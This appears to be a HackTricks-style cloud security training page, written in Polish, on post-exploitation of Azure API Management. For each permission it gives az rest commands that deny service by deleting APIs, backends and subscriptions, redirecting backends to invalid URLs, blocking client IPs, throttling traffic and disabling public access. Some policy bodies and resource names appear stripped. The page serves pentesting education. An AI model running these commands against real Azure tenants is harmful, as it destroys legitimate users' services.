# Azure - API Management Post-Exploitation {{#include ../../../banners/hacktricks-training.md}} ## `Microsoft.ApiManagement/service/apis/policies/write` or `Microsoft.ApiManagement/service/policies/write` Atakujący może użyć wielu wektorów, aby spowodować denial of service. Aby zablokować legalny ruch, atakujący dodaje rate-limiting i quota policies o ekstremalnie niskich wartościach, skutecznie uniemożliwiając normalny dostęp: ```bash az rest --method PUT \ --uri "https://management.azure.com/subscriptions//resourceGroups//providers/Microsoft.ApiManagement/service//apis//policies/policy?api-version=2024-05-01" \ --headers "Content-Type=application/json" \ --body '{ "properties": { "format": "rawxml", "value": "" } }' ``` Aby zablokować określone legalne adresy IP klientów, atakujący może dodać polityki filtrowania IP, które odrzucają żądania z wybranych adresów: ```bash az rest --method PUT \ --uri "https://management.azure.com/subscriptions//resourceGroups//providers/Microsoft.ApiManagement/service//apis//policies/policy?api-version=2024-05-01" \ --headers "Content-Type=application/json" \ --body '{ "properties": { "format": "rawxml", "value": "
1.2.3.4
1.2.3.5
" } }' ``` ## `Microsoft.ApiManagement/service/backends/write` or `Microsoft.ApiManagement/service/backends/delete` Aby spowodować niepowodzenie żądań, atakujący może zmodyfikować konfigurację backendu i zmienić jego URL na nieprawidłowy lub niedostępny adres: ```bash az rest --method PUT \ --uri "https://management.azure.com/subscriptions//resourceGroups//providers/Microsoft.ApiManagement/service//backends/?api-version=2024-05-01" \ --headers "Content-Type=application/json" "If-Match=*" \ --body '{ "properties": { "url": "https://invalid-backend-that-does-not-exist.com", "protocol": "http" } }' ``` Albo usuń backendy: ```bash az rest --method DELETE \ --uri "https://management.azure.com/subscriptions//resourceGroups//providers/Microsoft.ApiManagement/service//backends/?api-version=2024-05-01" \ --headers "If-Match=*" ``` ## `Microsoft.ApiManagement/service/apis/delete` Aby uczynić krytyczne API niedostępnymi, atakujący może usunąć je bezpośrednio z usługi API Management: ```bash az rest --method DELETE \ --uri "https://management.azure.com/subscriptions//resourceGroups//providers/Microsoft.ApiManagement/service//apis/?api-version=2024-05-01" \ --headers "If-Match=*" ``` ## `Microsoft.ApiManagement/service/write` or `Microsoft.ApiManagement/service/applynetworkconfigurationupdates/action` Aby zablokować dostęp z Internetu, atakujący może wyłączyć publiczny dostęp sieciowy w usłudze API Management: ```bash az rest --method PATCH \ --uri "https://management.azure.com/subscriptions//resourceGroups//providers/Microsoft.ApiManagement/service/?api-version=2024-05-01" \ --headers "Content-Type=application/json" \ --body '{ "properties": { "publicNetworkAccess": "Disabled" } }' ``` ## `Microsoft.ApiManagement/service/subscriptions/delete` Aby zablokować dostęp uprawnionym użytkownikom, atakujący może usunąć subskrypcje API Management: ```bash az rest --method DELETE \ --uri "https://management.azure.com/subscriptions//resourceGroups//providers/Microsoft.ApiManagement/service//subscriptions/?api-version=2024-05-01" \ --headers "If-Match=*" ``` {{#include ../../../banners/hacktricks-training.md}}